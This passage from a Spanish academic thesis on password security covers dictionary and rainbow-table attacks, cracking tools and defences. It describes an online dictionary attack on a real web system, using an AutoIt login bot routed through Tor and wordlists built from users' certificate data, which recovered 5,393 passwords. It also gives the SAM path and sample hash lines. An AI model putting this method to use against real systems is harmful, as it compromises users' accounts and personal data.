fuerza bruta se tendrían que probar combinaciones que van desde el 0000 hasta

9999, en el transcurso se puede dar con la combinación correcta.

Lamentablemente los ataques de fuerza bruta son muy costosos

computacionalmente hablando, debido a que utilizan el método de prueba y error,

lo que genera una demanda mayor de procesamiento de datos.

1.4.2. Ataque de diccionario.

Un ataque de diccionario es una técnica para adivinar contraseñas en el que el

atacante intenta determinar la contraseña de un usuario probando sucesivamente

con palabras de un diccionario (probablemente una lista de contraseñas), con la

esperanza de que una de ellas sea la que utiliza el usuario. En la práctica, el

diccionario del atacante normalmente no se limita a palabras de un diccionario de

una lengua natural tradicional, pero pueden incluir una o más variaciones.

Los ataques de diccionario pueden ser exitosos en múltiples entornos debido a la

tendencia de los usuarios a tomar malas decisiones al elaborar su contraseña (por

desgracia, las contraseñas que son fácilmente memorizadas por un usuario legítimo

son también fácilmente adivinadas por un atacante) [7].

Estos ataques se pueden realizar en el modo en línea (tratando sucesivamente con

posibles contraseñas hasta que un inicio de sesión tenga éxito) o en el modo fuera

de línea (se copia el archivo de sistema donde se almacena el digesto de la

contraseña, posteriormente se implementa el ataque).

CAPÍTULO 1. MARCO TEÓRICO

- 21 -

¿Cómo elaborar un diccionario de posibles contraseñas?

Un ataque de diccionario suele tener éxito si está confeccionado de manera

inteligente. La tabla 1.1 muestra algunas clases de palabras que debería tener el

diccionario, para disminuir las posibilidades de fracaso [8].

No. Recomendación1 Todas las palabras del diccionario español e inglés.2 Números del cero hasta N.3 Contraseñas por defecto (admin)4 Contraseñas comúnmente utilizadas (qwerty, 123456).5 Nombres (alejandro, karina) y diminutivos (karinita).6 Oficios y trabajos (arquitecta, ingeniera, gerente, operadores).7 Fechas en formato ddmmaaa o ddmmaa (desde el año 1900 hasta la

fecha, por cumpleaños y aniversarios).8 Contraseñas extraídas de otras bases de datos.9 Equipos de deportes favoritos (burrosblancos, cheyennes).10 Bandas de música favoritas (sodaestéreo, metálica, miranda).11 Títulos de libros o segmentos (invisiblealosojos,losjuegosdelhambre).12 Títulos de canciones (sinotehubierashido,buendía).13 Nombres propios, de parientes o seres queridos: padres, hermanos,

abuelo, abuela, bisabuelos, esposas, amantes, parejas, hijos, sobrinos,novias, ahijados y nietos.

14 Número de asociados a alguna entidad.15 Nombres de mascotas (tobby, negrita, dobby).16 Números de la suerte.17 Nombre del ISP, organización, institución o universidad, del objetivo.18 Cosas relacionadas con sus estudios, hobby o trabajo.19 Ídolos favoritos musicales, reales, ficticios o históricos (lennon, messi,

pokemon, napoleon).20 Todo aquel otro gusto o preferencia que se le conozca a la persona, como

marcas de ropa, de auto, de perfume, etcétera.21 Todos los anteriores seguidos de números en modo hibrido.22 Contraseñas que utilicen en el lugar donde se pretende hacer el ataque

informático.

Tabla 1.1. Muestra palabras que debe contener un diccionario personalizado.

CAPÍTULO 1. MARCO TEÓRICO

- 22 -

1.4.3. Tablas arcoíris (Rainbow).

En la actualidad la mayoría de los sistemas modernos ya no almacenan las

contraseñas en claro, lo que almacenan son los digestos correspondientes a las

mismas. Para optimizar el tiempo en un ataque informático, se recurre a las tablas

arcoíris.

Las tablas arcoíris son tablas que se generan previamente para obtener una

contraseña con una determinada longitud y conjunto de caracteres. El problema y

dificultad para obtener las contraseñas, es el disponer de las tablas suficientemente

grandes para romper cualquier tipo de contraseña.

Tabla 1.2. Ejemplo de tabla arcoíris.

En la tabla 1.3 se pueden ver el tamaño en disco que ocupan las tablas arcoíris

elaboradas con un conjunto de caracteres predefinido, para contraseñas que van

desde 1 carácter hasta 7 caracteres, y el tiempo de ejecución necesario para

generar la tabla usando el algoritmo hash MD5.

Digestos NT Contraseñas Mayúsculas37DB9ED5FB3A313EC1ACB0AD64882855 FRLUWROA

D43A0CEDCD4FD04A4E523DD107A29DDB SWIUJLAC40D7E272B1F4046EF4F67B52B37319F9 FRLUJLUCB9E2C9726B8A2CA5461B368D203C8027 WRLEGLUC1479943DE9210CD16E51E42115A64508 CRLAXOUGFFBB4678C1F93D0262606E736093A07F YLATROAH1294E73625A1DC392AF60620C3C2BAE1 DLAQIAPH3A7DA08236991F143D713B47F3E81854 ROUXIABI

9E30AE1174CD3F77CD5A83F915E0BF0E ZIAFIUXI4118D8B0C96695B41721A40EE1703578 CLEWRIEJ4229B6CC703F24B1EB685A949BEE5798 DOEGOEZL64B7BB771B72DE1937950F71A20A7A0C KIAFRIUN7A2AFBE3542F64F384FBEAD9F4856471 SLEYLEHO1351B02B90F1B2319113138A1CF4143C PHOEFOAP

3B0B151B8A43553B61DF0AD266CC242D BROUNIEP17CF41BFDA609F23AFFF74DC160AEBCF JOECOECRC83CE3D3CA774024013A9E68F73E8536 CLABIUDR

CAPÍTULO 1. MARCO TEÓRICO

- 23 -

Cuanto mayor sea el alfabeto en que se basa la elaboración de la tabla arcoíris,

mayor es la probabilidad de que la contraseña pertenezca a dicho conjunto de

caracteres.

Tabla 1.3. Comparativa generación de tablas arcoíris MD5.

Para utilizar las tablas arcoíris es necesario realizar tres fases, de las cuales las dos

primeras sólo necesitan realizarse una vez, mientras que la última es realizada

tantas veces como digestos se deseen romper.

1. Generación de la tabla arcoíris. En esta fase se crea la tabla arcoíris propiamente

dicha guardándola en un archivo de texto.

2. Ordenación de tabla arcoíris. En esta fase se ordena alfabéticamente la tabla

guardada en el archivo de texto. Esto es vital para la eficiencia de las tablas arcoíris

y por tanto obligatorio para el buen funcionamiento del algoritmo.

3. Uso de los digestos (Utilización de la tabla arcoíris). En esta fase se buscan los

digestos deseados en la tabla. En caso de que los encuentre nos devuelve el

resultado de la contraseña original.

Existe una gran variedad de herramientas que permiten crear tablas arcoíris y

usarlas en ataques informáticos, las cuales se describen a continuación:

John the Ripper: Implementa ataques fuera de línea, de diccionario

principalmente, trabaja en Linux y Windows [9].

Conjunto de caracteres. Tamaño dedisco.

Tiempo deejecución.

0123456789 859.375 Kb 7,357 Segundos

ABCDEFGHIJKLMNOPQRSTUVWXYZ 610,35 Mb 14,86 Horas

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 5,96 Gb 6,19 Días

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=

59,6 Gb 61,9 Días

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/

521,54 Gb 541 Días

CAPÍTULO 1. MARCO TEÓRICO

- 24 -

Ophcrack: Efectúa ataques fuera de línea utilizando tablas rainbow para recuperar

contraseñas, es multiplataforma [9].

Caín y Abel: Lleva a cabo ataques en línea y fuera de línea de los siguientes tipos:

fuerza bruta, tablas rainbow y diccionario, es una excelente herramienta para

entornos Windows [6].

THC-Hydra: Quebranta contraseñas en línea, puede ser utilizado en las siguientes

plataformas: Mac OS X (CPU Intel), Windows Y Linux [10].

1.5. Vulnerabilidades en un sistema web.

Todo sistema web lleva detrás de sí miles de líneas de código que son las

encargadas de crear tanto la parte visual de la aplicación como la funcionalidad que

ofrecen.

A la hora de programar todas esas líneas de código, es fundamental asegurarse de

que no se deja ninguna puerta abierta por la que podamos sufrir algún tipo de

ataque, problema que puede provocar desde cambiar la información del sistema

web hasta el envío continuo de mensajes de spam2 e incluso, en el peor de los

casos, obtener datos críticos que puedan poner en peligro la información de la

empresa o de los clientes.

En la actualidad podemos encontrar varios tipos de vulnerabilidades relacionadas

con la programación utilizada en sistemas web. En este documento nos

centraremos en el denominado “Cross site scripting”, también conocido por las

siglas XSS.

2 El spam es el correo electrónico no solicitado, no deseado, o de remitente desconocido, la mayoría delas veces es de tipo publicitario.

CAPÍTULO 1. MARCO TEÓRICO

- 25 -

1.5.1. XSS (Cross Site Scripting).

El XSS es un fallo de seguridad en sistemas de información basados en web, que

más que comprometer la seguridad del servidor web compromete la seguridad del

cliente.

El XSS es un ataque conocido en español con el nombre de secuencias deórdenes en sitios cruzados, consiste en inyectar código, HTML y/o JavaScript en

una aplicación web, con el objetivo de que el cliente ejecute el código inyectado al

momento de ejecutar la aplicación.

El XSS se da cuando una aplicación web permite inyectar código en la página; esto

se puede lograr por medio de campos de texto de formularios o por medio de la

URL.

El XSS puede hacer que el navegador funcione de manera indebida y en algunos

casos, llegar a provocar un fallo en el servidor. Aunque esto último es muy difícil

porque el código HTML y JavaScript se ejecutan en el navegador y no en el servidor

web.

1.6 Medidas para evitar ataques informáticos.

Es muy importante conocer los puntos débiles en un sistema web, una vez

identificados, se deben definir las medidas de seguridad adecuadas con la finalidad

de reducir los riesgos a los que pueda estar sometido, evitando que se efectúe una

amenaza. A continuación se exponen algunas medidas que se pueden tomar para

evitar ataques informáticos.

1.6.1. CAPTCHA.

Un CAPTCHA es un programa informático diseñado para diferenciar a un ser

humano de una computadora. CAPTCHA significa Completely Automated Public

test to tell Computers and Humans Apart (prueba de Turing completamente

automática y pública para diferenciar computadoras de humanos).

CAPÍTULO 1. MARCO TEÓRICO

- 26 -

De hecho, un CAPTCHA es una prueba que es fácil de pasar por un humano pero

difícil de pasar por una computadora. Los CAPTCHA´s más comunes son imágenes

distorsionadas de cadenas de texto cortas. Para un humano es generalmente muy

fácil recuperar la cadena de texto original de la imagen distorsionada, pero es difícil

para los algoritmos de reconocimiento de caracteres utilizados en una computadora

empleados para recuperar la cadena original [11].

Muchos servicios web utilizan los CAPTCHA, para tratar de evitar que los intentos

de inicio de sesión se hagan una y otra vez, actualmente se puede ver también

CAPTCHA en sitios que proporcionan acceso a información confidencial, como

cuentas bancarias o tarjetas de crédito. En la Figura 1.9 se muestran ejemplos de

CAPTCHA´s utilizados en correos electrónicos.

Figura 1.9. Ejemplos de CAPTCHA.

1.6.2. Restringir el número de intentos de inicio sesión.

Un sistema web debe tener la capacidad de establecer el número de veces que una

persona puede intentar iniciar sesión y llevar a cabo una acción una vez alcanzado

el límite. Un intento de inicio de sesión incorrecto se produce cuando una entidad

intenta acceder a la información de un usuario en concreto con una contraseña no

válida.

CAPÍTULO 1. MARCO TEÓRICO

- 27 -

IBM en su sitio web oficial, recomienda configurar en sus servidores de sistemas

web dos parámetros: QMAXSIGN (limita el número de intentos de inicio de sesión

incorrectos consecutivos) y QMAXSGNACN (especifica lo que hace el sistema si

alguien intenta iniciar la sesión demasiadas veces seguidas) como medida a tomar

ante intentos de inicio de sesión fallidos. Una vez excedido el número de intentos

de inicio de sesión permitidos, se deben tomar en cuenta las siguientes medidas

para evitar ataques informáticos [12]:

1. Impedir cualquier otro intento de inicio de sesión para el dispositivo. Esto se

denomina inhabilitar el dispositivo.

2. Impedir cualquier otro intento de inicio de sesión que permita acceder a la

información del usuario.

3. Inhabilitar tanto la información del usuario como el dispositivo.

El objetivo de algunos adversarios es adivinar contraseñas e irrumpir en los

sistemas. Limitando el número de intentos de inicio de sesión permitidos se puede

restringir sus posibilidades de acierto, además de evitar que procesos

automatizados hagan pruebas continuas. IBM recomienda establecer el valor de

máximo de intentos de inicio de sesión permitidos entre 3 y 5 [12].

1.6.3. Medidores de fortaleza de las contraseñas.

Los medidores de contraseñas, se encargan de medir la fuerza y por lo tanto, la

calidad de la misma, para ello toman como referencia la utilización de: número de

caracteres, inclusión de números/letras, signos de puntuación y combinación de

palabras mayúsculas y minúsculas entre otras combinaciones, además de tomar

como métrica la Entropía y políticas de seguridad desarrolladas por las

organizaciones que los implementan. Ante la existencia de una contraseña débil

mediante la retroalimentación de un medidor de fortaleza, existe la expectativa de

que el usuario intente mejorar la fortaleza de ésta.

CAPÍTULO 1. MARCO TEÓRICO

- 28 -

Si se utilizan en la etapa de registro, se hace desde ese momento consciente al

usuario de la importancia de elaborar una contraseña fuerte. A continuación se

muestra la contraseña alex123W insertada en diferentes medidores de fortaleza de

contraseñas.

En la Figura 1.10 se muestra el medidor del sitio GRC (Gibson Research

Corporation), empresa dedicada al desarrollo de software libre, toma la composición

de la contraseña (si son números, mayúsculas, minúsculas, caracteres especiales,

etc) como métrica para analizar su fortaleza. La calculadora muestra diversos

resultados, como el tamaño del alfabeto utilizado, el número de contraseñas

posibles en base al mismo , el tiempo necesario para buscar exhaustivamente en

diversos escenarios, como por ejemplo, un ataque en línea probando mil

posibilidades por segundo y un ataque fuera de línea probando cien mil millones y

cien trillones de conjeturas por segundo. Para este medidor de contraseñas

alex123W queda vulnerable para los dos últimos escenarios y lo hace saber

marcándolos en color rosa.

Figura 1.10. Medidor de contraseña del sitio grc.

CAPÍTULO 1. MARCO TEÓRICO

- 29 -

Figura 1.11. Medidor de contraseñas del sitio “passwordmeter”.

En la Figura 1.11 el medidor desarrollado por amplescaffolder, empresa dedicada al

desarrollo de software para la creación de bases de datos, evalúa la contraseña

con fórmulas elaboradas por ellos mismos, basadas en los malos hábitos de

formulación de los usuarios al crear contraseñas. Como sugerencia propone una

longitud mínima de 8 caracteres y que al menos tres cuartas partes de la contraseña

contenga, mayúsculas, minúsculas, números y símbolos. Al finalizar el análisis, solo

se califica el contenido de la contraseña en una escala del 0 al 100%, para la

contraseña alex123W la calificación es de 63% y se muestra en color verde, dando

a entender que es segura, en el medidor de contraseñas del sitio grc califica la

misma contraseña como vulnerable ante dos escenarios de posibles ataques e

incluso los marca en color rosa, cuestión que causa contradicción.

CAPÍTULO 1. MARCO TEÓRICO

- 30 -

Como podemos observar los medidores existentes de contraseñas, no siguen un

estándar para medirlas, algunos sólo muestran la seguridad en porcentaje, otros

sólo indican si se utilizan los caracteres adecuados y en el mejor de los casos

muestran el resultado de la entropía basada en el NIST o la entropía clásica.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 31 -

CAPITULO 2. DESARROLLO DEL PROYECTO.En este capítulo se muestran los dos casos de estudio que se realizaron en este

trabajo, uno es al análisis de seguridad a un sistema web verídico, cuya identidad

se mantendrá en anonimato por cuestiones de ética y el otro es un análisis de

manejo de contraseñas en Windows. Para que los casos de estudio sean seguidos

fácilmente por el lector, a continuación se presenta una sección de conceptos

básicos aplicados a nuestra metodología.

2.1. Tor (red de anonimato).

Tor viene de las siglas "The Onion Router" (Enrutamiento de Cebolla), es un

proyecto creado en 2003 por Roger Dingledine, Nick Mathewson y Paul Syverson

que surgió como consecuencia de la evolución del proyecto Onion Routing del

Laboratorio de Investigación Naval de los Estados Unidos. Ha sido financiado por

Electronic Frontier Foundation (2004) y la organización de defensa de libertades

civiles en el mundo digital (2015). El objetivo principal de Tor es el desarrollo de una

red de comunicaciones distribuida de baja latencia3 y superpuesta sobre internet,

en la que el encaminamiento de los mensajes intercambiados entre los usuarios no

revela su identidad, es decir, su dirección IP (anonimato a nivel de red) y que,

además, mantiene la integridad y el secreto de la información que viaja por ella.

Tor propone el uso de encaminamiento de cebolla de forma que los mensajes viajen

desde el origen al destino a través de una serie de routers especiales llamados

'routers de cebolla' (en inglés onion routers). Al instalarlo en una computadora, pone

en marcha un servidor proxy local. En la Figura 2.1 se muestra el funcionamiento

de la red Tor, un usuario envía información atreves de la red, para conservar su

anonimato pasa por diferentes nodos hasta llegar a su destino, la información

enviada conserva la dirección IP del nodo de salida de la red de anonimato,

ocultando la dirección IP de origen.

3 LATENCIA: suma de retardos temporales dentro de una red. Un retardo es producido por la demora en lapropagación y transmisión de paquetes dentro de la red.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 32 -

Figura 2.1. Muestra el funcionamiento de la red Tor.

La red funciona a partir de un conjunto de organizaciones e individuos que donan

su ancho de banda y poder de procesamiento.

2.1.1 Vidalia (Complemento de Tor).

Vidalia es una interfaz gráfica para acceder de forma sencilla a la red Tor, que

permite conectar las aplicaciones que deseemos a la misma, lo que lo hace mejor

a Tor Browser Bundle (Navegador de Tor).

Está realizado con Qt (biblioteca multiplataforma) su última versión fue lanzada el

10 de julio de 2012 y actualmente se pueden encontrar versiones relativamente

recientes de esta aplicación para Windows y Linux, aunque estas no son oficiales

y en algunos casos con modificaciones de acuerdo a ciertas necesidades de

usuarios.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 33 -

2.2. Proxy

Un proxy es una computadora intermedia que se usa en la comunicación de otras

dos. La información (generalmente en Internet) va directamente entre una

computadora y otra. Mediante un proxy, la información va primero, a la computadora

intermedia (proxy), y ésta se la envía a la computadora destino, de manera que no

existe conexión directa entre la primera y la última.

Figura 2.2. Muestra el funcionamiento de un proxy.

2.3. ¿Qué es un bot?

Un bot (aféresis de robot) es un programa informático, imitando el comportamiento

de una persona ya sea para realizar algún trabajo o incluso para responder de

alguna forma según las palabras o el contenido de algún correo. De esta forma las

automatizaciones de algunos trabajos de escritorio se han logrado automatizar en

muchas empresas. Al igual que los robots, los bots pueden ser programados para

cualquier tarea que pueda ser realizada por un programa informático actual, para

automatizar y generar el algoritmo todo depende del objetivo que se busque

alcanzar.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 34 -

2.4. AutoIt.

AutoIt es un lenguaje de script de software libre para la automatización del sistema

operativo Microsoft Windows. En sus primeras versiones, el software fue pensado

principalmente para crear scripts de automatización para los programas de Microsoft

Windows. Estas secuencias de comandos son útiles para la automatización de

tareas muy repetitivas, como el despliegue de un gran número de PCs con

instrucciones de instalación idénticos. Con las sucesivas versiones, AutoIt ha

crecido para incluir mejoras en el diseño del lenguaje de programación en rasgos

generales.

Algunas características de este software.

La sintaxis es sencilla. Estructura similar al BASIC para Windows.

Se ejecuta con rapidez, permite controlar a otros programas.

Tiene generador de macros y editor gráfico de formularios (IDE).

Sus scripts se pueden compilar en archivos ejecutables totalmente

independientes.

Usa bibliotecas y módulos complementarios {en inglés: add-on o plug-

in} para aplicaciones específicas.

Simula los movimientos del ratón.

Manipula ventanas y procesos.

Automatiza la interacción del usuario emulando pulsaciones de teclas en los

programas, y en controles individuales dentro de una aplicación.

2.5. Certificado digital.

Un Certificado Digital es un documento que vincula una llave pública con una

entidad final y que es firmado por una autoridad certificadora para demostrar su

validez e integridad.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 35 -

2.5.1. OpenSSL.

OpenSSL es un proyecto de software libre basado en SSLeay, desarrollado por Eric

Young y Tim Hudson. Consiste en un robusto paquete de herramientas de

administración y bibliotecas relacionadas con la criptografía, que suministran

funciones criptográficas a otros paquetes como OpenSSH y navegadores web (para

acceso seguro a sitios HTTPS).

Uno de los usos más comunes de OpenSSL es la creación de certificados para usar

en aplicaciones de software. Estos certificados aseguran que las credenciales de

la compañía o individuo son válidos y no son fraudulentos. Si el certificado en

cuestión no ha sido verificado por una de las diversas “autoridades certificadoras” o

CA, suele generarse una advertencia al respecto.

2.5.2. Estándar x.509 para certificados.

Es en el estándar X.509 en donde se especifica entre otras cosas formatos para

certificados digitales y un algoritmo de validación de la ruta de certificación. Los

formatos de codificación más comunes son los siguientes DER (Distinguish

Encoding Rules) o PEM (Privacy Enhanced Mail).

X.509 es la pieza central de la infraestructura de la llave pública y es la estructura

que asocia la llave pública con los datos que permiten identificar al titular.

Enseguida se muestra un esquema que describe los campos que contiene un

certificado digital bajo el estándar X.509.

Figura 2.3. Formato de los certificados X.509 v3.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 36 -

Todos los campos están escritos en formato ANS.1, y su contenido es:

Versión: El campo de versión contiene el número de versión del certificado

codificado. Los valores aceptables son 1, 2 y 3.

Número de serie del certificado: Este campo es un número entero asignado por

la autoridad certificadora. Cada certificado emitido por una CA debe tener un número

de serie único.

Identificador del algoritmo de firmado: Este campo identifica el algoritmo

empleado para firmar el certificado (como por ejemplo el RSA o el DSA).

Nombre del emisor: Este campo identifica la CA que ha firmado y emitido el

certificado.

Periodo de validez: Este campo indica el periodo de tiempo durante el cual el

certificado es válido y la CA está obligada a mantener información sobre el estado

del mismo. El campo consiste en una fecha inicial, la fecha en la que el certificado

empieza a ser válido y la fecha después de la cual el certificado deja de serlo.

Nombre del sujeto: Este campo identifica la identidad cuya llave pública está

certificada en el campo siguiente. El nombre debe ser único para cada entidad

certificada por una CA dada, aunque puede emitir más de un certificado con el

mismo nombre si es para la misma entidad.

Información de clave pública del sujeto: Este campo contiene la clave pública,

sus parámetros y el identificador del algoritmo con el que se emplea la clave.

Identificador único del emisor: Este es un campo opcional que permite reutilizarnombres de emisor.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 37 -

Identificador único del sujeto: Este es un campo opcional que permite reutilizar

nombres de sujeto.

Extensiones: Una parte importante de los certificados digitales es el campo

"Extensiones", en el cual se puede agregar información propia de la aplicación de

firma electrónica que se desarrolla, por ejemplo, el ID de empleado, ID de

funcionario o Matricula de estudiante.

2.6. Manejo de contraseñas en sistemas operativos.

Como se ha mencionado anteriormente, para almacenar las primitivas

criptográficas denominadas digestos se utilizan archivos de registro, los cuales su

ubicación puede variar de acuerdo al sistema operativo.

2.6.1 WINDOWS

En Windows el Administrador de Cuentas de Seguridad (SAM, por sus siglas en

inglés) de Windows es una base de datos almacenada como un archivo del registro

en Windows NT, Windows 2000, y versiones posteriores de Microsoft Windows.

Almacena las contraseñas de los usuarios en forma de digestos. SAM está en la

siguiente dirección.

C:\WINDOWS\system32\config\SAM

Un digesto del archivo SAM luce así:Administrador:500:5AC9FFFB9464FFA6B9136263703A79E8:9E65AAFF0C32CD68C624B442A07E369D:::.

2.6.2. SHADOW

En Linux, Solaris o Unix, los usuarios y los digestos (basados, por lo general en

algoritmo DES, SHA-1 o MD5) de sus contraseñas (incluyendo root) se ubican

usualmente en el archivo /etc/shadow, y luce de esta manera:homero:$1$9XSaYyhK$ZtVQCiSRf1mjgLvlCksZw0:12488:0:99999:7:::.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 38 -

2.7. ANALISIS DE SEGURIDAD A UN SISTEMA WEB.

El sistema web objeto de estudio en esta sección, se encuentra disponible desde

cualquier navegador, por lo tanto se efectuó un ataque en línea. La hipótesis era

qué tan fácil o difícil sería, con los conocimientos teóricos previamente adquiridos,

obtener contraseñas de usuarios. Es importante saber que al registrarse los

usuarios en el sistema web se les a proporcionado un certificado digital que está

ligado a su llave pública en donde existe información de carácter público.

Se obtuvieron certificados digitales expedidos por una institución en formato .cer,

los cuales vinculan información que identifica a los usuarios del sistema a su llave

pública. Dichos certificados son expedidos de acuerdo al estándar X.509 en donde

se encuentran datos que a pesar de ser información pública pueden dar origen a un

ataque informático.

Con un programa elaborado en C, compilado en LINUX se construyó una instrucción

de OpenSSL, cuya finalidad es convertir el formato original de los certificados (.cer)

al formato .pem, con el objetivo de facilitar la lectura de los mismos en la terminal

de Linux, ya que en el formato original no es posible.

En el mismo programa se construyeron instrucciones de Openssl, que solicitan los

siguientes datos de los certificados digitales: CURP (NUMERO DE SERIE), RFC,

EMAIL, Y NOMBRE, y los almacena en un archivo de texto.

Figura 2.4. Muestra algunos campos de un certificado digital.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 39 -

Nota: No se muestran los certificados originales recabados por cuestionesde ética.Este programa respeta la estructura que utiliza la institución para almacenarlos, a

continuación se muestra el diagrama de flujo de procesos que realiza el programa

anteriormente descrito.

Figura 2.5. Muestra el diagrama de flujo de procesos del programa deanálisis de certificados.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 40 -

Posteriormente, en el software postgresql se creó una base de datos que está

constituida por una tabla que contiene la siguiente información:

USUARIO, Contiene los siguientes atributos: CURP, DIA, MES Y AÑO DE

NACIMIENTO, RFC, MAIL Y NOMBRE.

Figura 2.6. Base de datos en claro utilizada.

En la base de datos creada, se insertaron los datos anteriormente almacenados en

un archivo de texto. Mediante instrucciones de postgresql se separaron los datos

que se necesitaban para generar diccionarios de usuarios válidos y posibles

contraseñas.

Como usuarios se consideró el RFC de cada certificado y para posible contraseña

se tomó el mismo, truncado a los primeros 8 caracteres. De esta manera se generó

un archivo de texto con usuarios válidos y otro con las posibles contraseñas.

Muchas organizaciones, suelen tener más de una versión disponible de sus

sistemas web, desafortunadamente si no son dados de baja, en estos aplicativos

que se construyeron anteriormente quedan alojadas y disponibles vulnerabilidades

que se pueden explotar, para este caso de estudio sucedió esto, para mayor

información referimos al lector al capítulo 1 sección 1.5.1.

Se detectaron 3 páginas vulnerables a la inyección de datos, unas lo permitían

parcialmente y otras en su totalidad, se analizó el código HTML con herramientas

proporcionadas por los navegadores web, para descartar las que no serian útiles.

De cada una de las páginas posibles se detectaron los campos que se necesitaban

para la inyección de datos y validación: el campo usuario, contraseña y el botón

submit.

USUARIOCURPDIAMESAÑORFCE-MAILNOMBRE

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 41 -

Una vez teniendo las vulnerabilidades detectadas en el formulario HTML de la

página seleccionada, se procedió a elaborar un bot, para simular la etapa de inicio

de sesión de un usuario.

Existen herramientas que ayudan a programar bots, por la facilidad de bibliotecas

prediseñadas para el navegador Internet Explorer se utilizó AutoIt.

El bot programado realiza las siguientes acciones por cada intento de inicio de

sesión:

1.- Abre la aplicación (Internet Explorer) mediante una instrucción de CMD.

2.-Carga la página web vulnerable.

3.-Localiza los campos del formulario HTML susceptibles a inyección de datos:

Ecom_User_ID y Ecom_Password.

4.- En dichos campos inserta el usuario valido de la lista usuarios y la posible

contraseña de la lista de contraseñas, después simula un clic en el botón submit.

5.- Hace una comparación para saber si la url ha cambiado.

6.- Si la url cambia, el usuario y la contraseña se guardan en un archivo de texto

llamado correctos.

7.- Cierra la aplicación (Internet Explorer) con una instrucción de cmd.

A continuación se muestra de manera generalizada, en un diagrama de flujo de

procesos, lo que realiza el bot programado.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 42 -

Figura 2.7. Muestra el flujo de procesos del bot creado.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 43 -

A continuación se muestra el diagrama de secuencia en donde se observan las

acciones fundamentales de este programa, tales como el envío de un

usuario/contraseña y la espera de la respuesta del servidor para tomar una decisión,

además de notarse la presencia de dos entidades: El bot programado que simula

un usuario y el servidor.

Figura 2.8. Diagrama de secuencia.

Otra característica importante que hay que tomar en consideración cuando un

oponente está tratando de vulnerar un sistema, es que intentará mantener su

identidad oculta, para lo cual se pueden ocupar herramientas como Tor y vidalia que

permiten anonimizar la dirección IP de origen desde donde se implementa el ataque

informático. Es por eso que el tráfico de datos de la aplicación Internet Explorer fue

desviado a la red Tor, con la finalidad de proteger la identidad del origen del ataque,

(ya que cada cierto tiempo Tor cambia la dirección IP) lo que permite probar

continuamente usuarios y contraseñas.

Existe una serie de factores que influyen en la eficacia de un ataque informático,

como la velocidad de Internet, tiempo de respuesta del servidor, poder de computo,

etc. En un ataque en línea no es posible controlar algunas variantes.

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 44 -

Al ejecutar el bot, se detectó que el tiempo que se le daba a la aplicación Internet

Explorer en la programación del mismo, para efectuar la carga de datos y envió, era

insuficiente, por lo que se ajustó el tiempo empíricamente en base al tiempo

promedio más una tolerancia.

Con las correcciones de tiempo efectuadas en la programación del bot, nuevamente

se ejecutó y se observó que trabajaba de acuerdo a lo esperado y empezó a

generar resultados.

2.8. Análisis del manejo de contraseñas en Windows.

Se realizó un estudio del manejo de las contraseñas en Windows, para ello se

generaron 125 contraseñas aleatorias de 8 caracteres con una herramienta

disponible en internet diseñada por NORTON (Norton AntiVirus). En la Tabla 2.1 se

muestra la cantidad de contraseñas generadas, los tipos de contraseñas

(numéricas, minúsculas, etc.) y un ejemplo.

Tabla 2.1. Muestra tipos de contraseñas generadas.

Posteriormente para las 25 contraseñas numéricas, se crearon 25 usuarios con

privilegios de administrador en el sistema operativo Windows 7, al término de esto

se procedió a recuperar la SAM originada con los digestos de los usuarios.

Cantidad Tipos de contraseñas. Ejemplo

25 Numéricas. 62209933

25 Minúsculas Niuqlenl

25 Mayúsculas. OQLPKNKD

25 Mayúsculas y minúscula OHdQhxoC

25 Mayúsculas, minúsculas, números y caracteres

especiales (@#$%^&*()_+=~`[]{}|\:;"'<>,.?/.).

Map*7rAm

CAPÍTULO 2. DESARROLLO DEL PROYECTO

- 45 -

Lo mismo se realizó con los 4 tipos de contraseñas restantes, obteniendo un total

de 5 archivos SAM, cada uno con 25 digestos.

Después, se alimentaron los 5 archivos SAM a la herramienta Caín y Abel, esto con

la finalidad de implementar un ataque de fuerza bruta de acuerdo a las

características de las contraseñas, a continuación en la tabla se muestra la

configuración de la herramienta para los diferentes tipos de contraseñas:

FicheroSAM

Tipo decontraseñas.

Cantidad. Configuración de la herramienta.

1 Numéricas. 25 Fuerza bruta con los siguientes caracteres:

0,1,2,3,4,5,6,7,8,9

2 Minúsculas. 25 Fuerza bruta con los siguientes caracteres:

Abcdefghijklmnñopqrstuvwxyz

3 Mayúsculas. 25 Fuerza bruta con los siguientes caracteres:

ABCDEFGHIJKLMNÑOPQRSTUVWXYZ

4 Mayúsculas y

minúsculas.

25 Fuerza bruta con los siguientes caracteres:

abcdefghijklmnñopqrstuvwxyz

ABCDEFGHIJKLMNÑOPQRSTUVWXYZ

5 Mayúsculas,

minúsculas,

números y

caracteres

especiales.

25 Fuerza bruta con los siguientes caracteres:

0,1,2,3,4,5,6,7,8,9

abcdefghijklmnñopqrstuvwxyz

ABCDEFGHIJKLMNÑOPQRSTUVWXYZ

@#$%^&*()_+=~`[]{}|\:;"'<>,.?/.

Tabla 2.2. Muestra configuración de la herramienta.

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 46 -

CAPITULO 3. RESULTADOS PRÁCTICOS.3.1 Ataque en línea.

De un análisis de 160,359 usuarios se obtuvieron 5,393 contraseñas mediante un

ataque de diccionario, lo que representa el 3.36% del total de las contraseñas. Es

impactante que con una estrategia básica, se obtuvieran estos resultados.

A continuación en la Figura 3.1, se muestran los resultados obtenidos de este caso

de estudio en una gráfica.

Figura 3.1. Porcentaje de contraseñas recuperadas mediante el ataque dediccionario.

Ataque de diccionario (En línea).

Total de contraseñas. Contraseñas recuperadas.

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 47 -

